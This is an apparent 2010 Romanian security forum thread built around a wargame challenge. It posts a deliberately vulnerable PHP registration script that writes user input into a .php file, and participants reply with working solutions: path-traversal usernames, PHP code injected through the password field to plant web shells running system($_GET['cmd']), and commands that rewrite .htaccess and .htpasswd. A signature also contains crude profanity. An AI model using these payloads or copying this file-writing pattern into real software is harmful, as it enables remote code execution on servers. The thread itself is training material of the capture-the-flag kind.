Mata-i grasa _|_
Romanian Security Team - SECURITY RESEARCH  

Go Back   Romanian Security Team - SECURITY RESEARCH > >> 1337 Zone << > Competitie [challenges]

Competitie [challenges] Challenge-uri aka Wargames! Enjoy resolving them!

Reply
Old 02-03-2010, 09:57 PM   #1 (permalink)
Registered Users
Bautor de whiskey
 
SirGod's Avatar
 
Join Date: Nov 2007
Location: Rm.Valcea
Posts: 307
Rep Power: 3
SirGod is on a distinguished road
Send a message via Yahoo to SirGod
SirGod is online now

Default [PHP] [Moderate] - Hack me


hotel regim hotelier
hotel yahoo domain
Fisiere pe server: index.php.
Foldere pe server: /users.
.htaccess din /users

Codul din index.php

Code:
<?php

error_reporting(0);

if(isset($_POST['submit'])) 

   {

	$name=$_POST['name'];
	$record = 'users/'.$name.'_data.php';
	$fh = fopen($record, 'w') or die("Can not open file!");
	$tag='<?php "';
	fwrite($fh, $tag);
	$reguser = 'Username = ' .$_POST['name'];
	fwrite($fh, $reguser);
	$reguser2 = 'Password = ' .$_POST['password'];
	fwrite($fh, $reguser2);
	$tag2='" ?>';
	fwrite($fh, $tag2);
	fclose($fh);
	echo 'Registered'; 

	}

else 

	{	

	echo '<html>'.
	'<form method="POST" action=""> '.
	'<input type="text" name="name">'.
	'<input type="password" name="password">'.
	'<input type="submit" name="submit" value="submit">'.
	'</form>'.
	'</html>';

	}

?>
In folderul users avem htaccess (deny from all) deci nu il putem accesa sa ii vedem continutul si nici fisierele nu putem sa le accesam.

Ce trebuie sa faceti:

In directorul root, in acelasi loc cu index.php, plasati cumva un fisier cu numele vostru care sa va poata permite executarea de comenzi preluate dintr-o variabila preluata prin $_GET.
__________________
  Reply With Quote
Sponsored Links
Re: [PHP] [Moderate] - Hack me
Old 02-04-2010, 08:51 AM   #2 (permalink)
Registered Users
Cultul betivilor
 
paxnWo's Avatar
 
Join Date: Mar 2008
Location: k̶̨͆̎̓̑͌̓̌̌̓ͤ͑̐͐ͫ
Posts: 1,572
Rep Power: 3
paxnWo is on a distinguished road
Send a message via Yahoo to paxnWo
paxnWo is offline
Default

le: nu am citit toata cerinta ta, eu am scris daca aveam deja fisierul respectiv in root folder.

le 2 : cred ca asta-i rezolvarea:

username: ../pax
password: echo system($_GET['sef']);

----------------------------------------

cd /users; ls; cat sirgod_data.php

sau daca avem htpasswd

cd /users; echo "pax:$apr1$du8Pz...$RJyRugqxByqFpW7Rk2RQS/" > .htpasswd

sau daca nu avem

cd /users; rm .htaccess; touch .htaccess; echo "order deny, allow
deny from all
allow from 89.177.11.*" > .htaccess
__________________
Tineti minte trei cuvinte: Garda merge inainte !
----------------------------
kw3 - waszilica: sugi pula
Pax Nwo: fute-te singur
Pax Nwo: haide kwe
Pax Nwo: sus pe bar
Pax Nwo: sus pe bar
Pax Nwo: sus pe bar
  Reply With Quote
Re: [PHP] [Moderate] - Hack me
Old 02-04-2010, 10:57 AM   #3 (permalink)
Moderator
Cultul betivilor
 
loki's Avatar
 
Join Date: Feb 2008
Posts: 2,393
Rep Power: 5
loki is on a distinguished road
loki is offline
Default

cam ciudata scrierea fisierului: <?php "Username = userPassword = password" ?>

user:
password: "; passthru($_GET['cmd']); echo "
asa am rezolvat cu ghilimelele.
__________________
  Reply With Quote
Re: [PHP] [Moderate] - Hack me
Old 02-07-2010, 12:58 PM   #4 (permalink)
Registered Users
Bautor de whiskey
 
SirGod's Avatar
 
Join Date: Nov 2007
Location: Rm.Valcea
Posts: 307
Rep Power: 3
SirGod is on a distinguished road
Send a message via Yahoo to SirGod
SirGod is online now
Default

@loki: Gresit. Iti va creea fisierul in folderul users, pe care nu il poti accesa pentru ca ai .htaccess, deci nu ai ce face cu el.

@pax: Ai prins ideea, dar vezi ca ce injectezi tu nu merge. O sa iti dea o eroare cand accesezi fisierul:

Code:
Parse error: parse error, expecting `T_STRING' or `T_VARIABLE' or `T_NUM_STRING' in C:\wamp\www\wargames\pax_data.php on line 1
Trebuie sa fi atent ce cod injectezi. Modul in care salvez datele de inregistrare l-am facut ca sa fie putin mai dificil. Si nu poti accesa /users/ , ai acces web nu consola, nu inteleg ce vrei sa arati cu alea.

Sa explic pe scurt:

Nu aveti acces la site decat prin WWW. Nu aveti consola. Nu puteti face NIMIC ca sa accesati folderul users pentru ca nu puteti trece peste htaccess. Si inca ceva, de care nu ati tinut cont. Am zis sa creati un fisier cu numele vostru nu numelevostru_data.php . Nu e mare branza, doar o mica schimbare de cod care trebuie injectat.
__________________
  Reply With Quote
Re: [PHP] [Moderate] - Hack me
Old 02-07-2010, 08:51 PM   #5 (permalink)
Bad coder
Cultul betivilor
 
Fitty's Avatar
 
Join Date: Mar 2009
Location: Pitesti
Posts: 1,046
Rep Power: 3
Fitty is on a distinguished road
Send a message via ICQ to Fitty Send a message via AIM to Fitty Send a message via MSN to Fitty Send a message via Yahoo to Fitty Send a message via Skype™ to Fitty
Fitty is offline
Default

Windows httpd server..
1. Creem un shell langa directorul users, numit shell_data.php
Username>> ../shell
Password>> "; ?><?php system($_GET['cmd']); //

2. shell_data.php?cmd=echo "<?php system($_GET['cmd']); ?>" > fitty.php

3. fitty.php?cmd=del shell_data.php

4. fitty.php?cmd=dir

>> Avem shell-ul fitty.php <<
Pa.
__________________
  Reply With Quote
Last edited by Fitty; 02-07-2010 at 08:54 PM.
Re: [PHP] [Moderate] - Hack me
Old 02-07-2010, 08:55 PM   #6 (permalink)
Registered Users
Bautor de whiskey
 
SirGod's Avatar
 
Join Date: Nov 2007
Location: Rm.Valcea
Posts: 307
Rep Power: 3
SirGod is on a distinguished road
Send a message via Yahoo to SirGod
SirGod is online now
Default

Eh, merge si asa, dar merge si decat cu injectare o singura data, ceva de genu:

User: ../

Pass:

Code:
"?><?php
$code = "evil.php";
$handler = fopen($code, 'w') or die("cant open file");
$evil = "<?php system(\$_GET['cmd']); ?>";
fwrite($handler, $evil);
fclose($handler);
?>
Apoi accesam _data.php si ni se creeaza fisierul.
__________________
  Reply With Quote
Re: [PHP] [Moderate] - Hack me
Old 02-07-2010, 08:59 PM   #7 (permalink)
Bad coder
Cultul betivilor
 
Fitty's Avatar
 
Join Date: Mar 2009
Location: Pitesti
Posts: 1,046
Rep Power: 3
Fitty is on a distinguished road
Send a message via ICQ to Fitty Send a message via AIM to Fitty Send a message via MSN to Fitty Send a message via Yahoo to Fitty Send a message via Skype™ to Fitty
Fitty is offline
Default

gg pentru challenge
__________________
  Reply With Quote
Reply

Currently Active Users Viewing This Thread: 1 (0 members and 1 guests)
 
Thread Tools

Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

BB code is On
Smilies are On
[IMG] code is On
HTML code is Off
Trackbacks are On
Pingbacks are On
Refbacks are On
Forum Jump




Copywr0ng (c) 2009 Miercuri catre Joi - RST
All logos and trademarks in this site are property of their respective

Hosted by powerhost.ro